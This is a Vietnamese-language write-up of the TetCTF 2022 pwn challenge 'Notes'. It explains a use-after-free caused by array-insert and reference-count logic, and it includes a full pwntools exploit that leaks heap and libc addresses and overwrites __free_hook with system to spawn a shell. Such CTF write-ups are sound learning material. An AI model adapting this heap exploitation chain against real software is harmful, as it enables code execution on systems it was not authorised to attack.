[TetCTF 2022 - Pwn] Notes Challenge

 bài này là 1 bài heap dùng libzone, do trước mình từng làm 1 bài libzone nên cũng quen với kiểu allocation này, nhưng libzone không có bug nhé, để bug được thằng libzone hơi khó nếu không có lỗi kiểu overflow heap vì libzone không dùng cơ chế single link hoặc double link để lưu free chunk.

nhìn kỹ thì sẽ thấy lỗi UAF ở hàm Note_Dealloc.

void Note_Dealloc(reference_t ref)
{
Note_t noteptr;
assert(ref != NULL);

noteptr = CAST_TO_NOTE(ref);
if(noteptr->n_buffer){
free(noteptr->n_buffer);
}

NOTE_FREE(noteptr);
}

Nhưng muốn gọi hàm này phải để cho ref_count bằng 1 rồi dùng Note_Rele để đưa về 0.

Khảo sát qua 6 chức năng thì tóm tắt lại như thế này:

1. Create tạo ra 1 note lưu tạm thời ở a_note, có ref_count = 1

2. Edit note thì nếu ref count > 1 thì nó sẽ tạo ra 1 thằng giống nó nhưng ref count = 1 rồi insert vào array, nếu ref count <= 1 thì mọi người tự đọc code nhé :D.

3. Save lưu a_note vào array và tăng ref count lên 1

4. Copy tăng ref_count lên 1

5. List không làm thay đổi ref count

6. Giảm ref_count đi 1 đồng thời cho array[index] bằng 0 nên cũng không UAF được.

1 hàm quan trọng nữa cần lưu ý là hàm NoteArray_Insert, có 1 đoạn khá lạ:

for(i = idx; i < a_array->note_count; i++){
a_array->note_array[i + 1] = a_array->note_array[i];
}

nếu muốn insert vào vị trí idx trong mảng thì nó sẽ copy giá trị tại idx ấy ra các vị trí từ idx + 1 trở đi, điều này dẫn đến trong array tồn tại những phần tử trỏ chung vào 1 địa chỉ, Easy UAF

create(b'00000000', 0x20, b'a'*0x1f)
save(0)
gdb.attach(r, '''b*0x401c5a''')
edit(0, b'11111111', 0x1f, b'a'*0x1f)
edit(0, b'22222222', 0x1f, b'a'*0x1f)


Lúc này cả 3 cái này đều có ref count = 1, xóa idx 0 và 1 để nó vào tcache, lúc này còn thừa 1 thằng trong array cũng đang trỏ tới thằng bị free, do đó dễ dàng leak địa chỉ heap.

remove(0)
remove(1)
copy(0, 0)
r.sendlineafter(b'$ ', b'5')
r.sendlineafter(b'do you want to read?', b'0')
r.recvuntil(b'Content:\n')
heap_base = u64(r.recv(8)) - 0x8f0
log.info('Heap base: %#x' % heap_base)

Do remove hay insert thì mảng nó sẽ tự dịch các phần tử đế trong mảng không có vị trí rỗng nên mọi người vào gdb test nữa chứ nhìn thế này hơi khó hiểu.

Bước 2 là tạo 1 chunk đủ to (0x410) rồi free nó khiến nó rơi vào unsorted bin, lúc này trên heap sẽ có địa chỉ của libc rồi dùng thủ đoạn gần tương tự trên để leak libc

create(b'nothing', 0x30, b'b'*0x2f)
save(2)
create(b'Do Tien Dat', 0x410, b'a'*0x40f)
save(3)
edit(3, b'Do Tien Dat', 0x410, b'a'*0x40f)
copy(2, 3)
create(b'nothing', 0x410, b'c'*0x40f)
save(6)
create(b'nothing', 0x40, b'd'*0x3f)
save(7)



Đoạn này giải thích thì cũng dài và mình làm bài này theo kiểu stuck chỗ nào thì tìm cách giải quyết chỗ đấy nên chả có chiến lược gì cả, mình cũng không nhớ tại sao mình lại tạo ra tận 2 chunk có size 0x410 nhưng thôi giờ ngại code lại cho nó clear, chạy được là được :D.

remove(6)
remove(5)
r.sendlineafter(b'$ ', b'5')
r.sendlineafter(b'do you want to read?', b'4')
r.recvuntil(b'Content:\n')
libc.address = u64(r.recv(8)) - 0x1ebbe0
log.info('Libc base: %#x' % libc.address)

tương tự như trên leak được libc.

Cuối cùng là ghi đè __free_hook.

Xin lỗi vì write up hơi cẩu thả nhưng thực sự thì mình giải bài này theo kiểu tắc chỗ nào thì thông chỗ đó thôi. Bài này mình giải được khá sớm nên mình cũng chả nhớ lúc đấy đang tắc chỗ nào nên write up không biết viết gì, cũng vì hành vi của hàm edit và insert array nó hơi lạ nên phải tự debug mới thấy chứ code của mình không thừa chỗ nào đâu, dòng nào cũng có ý định của nó cả, xóa 1 dòng đi là exploit xịt ngay. :D


from pwn import *

# r = remote('18.191.117.63', 31336)
r = process('./note')
context.clear(os='linux', arch='x86_64', log_level='debug')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
bin = ELF('./note')

def create(name, word, content):
r.sendlineafter(b'$ ', b'1')
r.sendlineafter(b'Note Name: ', name)
r.sendlineafter(b'words do you want? ', str(word).encode())
r.sendlineafter(b'your content:\n', content)
r.recvuntil(b'Done.\n')

def edit(idx, name, word, content):
r.sendlineafter(b'$ ', b'2')
r.sendlineafter(b'do you want to edit?', str(idx).encode())
r.sendlineafter(b'Note Name: ', name)
r.sendlineafter(b'words do you want? ', str(word).encode())
r.sendline(content)
r.recvuntil(b'Done.\n')

def save(idx):
r.sendlineafter(b'$ ', b'3')
r.sendlineafter(b'idx do you want to save?', str(idx).encode())
r.recvuntil(b'Done.\n')

def copy(idx, idx_save):
r.sendlineafter(b'$ ', b'4')
r.sendlineafter(b'do you want to copy?', str(idx).encode())
r.sendlineafter(b'idx do you wanna save?', str(idx_save).encode())
r.recvuntil(b'Done.\n')

def remove(idx):
r.sendlineafter(b'$ ', b'6')
r.sendlineafter(b'do you want to remove?', str(idx).encode())
r.recvuntil(b'Done.\n')

create(b'00000000', 0x20, b'a'*0x1f)
save(0)
edit(0, b'11111111', 0x1f, b'a'*0x1f)
edit(0, b'22222222', 0x1f, b'a'*0x1f)
remove(0)
remove(1)
copy(0, 0)
r.sendlineafter(b'$ ', b'5')
r.sendlineafter(b'do you want to read?', b'0')
r.recvuntil(b'Content:\n')
heap_base = u64(r.recv(8)) - 0x8f0
log.info('Heap base: %#x' % heap_base)

create(b'nothing', 0x30, b'b'*0x2f)
save(2)
create(b'Do Tien Dat', 0x410, b'a'*0x40f)
save(3)
edit(3, b'Do Tien Dat', 0x410, b'a'*0x40f)
copy(2, 3)
create(b'nothing', 0x410, b'c'*0x40f)
save(6)
create(b'nothing', 0x40, b'd'*0x3f)
save(7)
remove(6)
remove(5)
r.sendlineafter(b'$ ', b'5')
r.sendlineafter(b'do you want to read?', b'4')
r.recvuntil(b'Content:\n')
libc.address = u64(r.recv(8)) - 0x1ebbe0
log.info('Libc base: %#x' % libc.address)

create(b'nothing', 0x30, b'b'*0x2f)
create(b'nothing', 0x30, b'b'*0x2f)
save(4)
# gdb.attach(r, '''b*0x401c5a''')

remove(6)
remove(5)
remove(3)
remove(2)
remove(1)
edit(0, b'Winner', 0x30, p64(libc.symbols['__free_hook']) + p64(heap_base + 0x10) + b'a'*0x1f)
create(b'nothing', 0x30, b'/bin/sh'.ljust(0x2f, b'\x00'))
save(0)
create(b'nothing', 0x30, p64(libc.symbols['system']) + b'\x00'*0x27)
r.sendlineafter(b'$ ', b'6')
r.sendlineafter(b'do you want to remove?', b'0')
r.interactive()

Nhận xét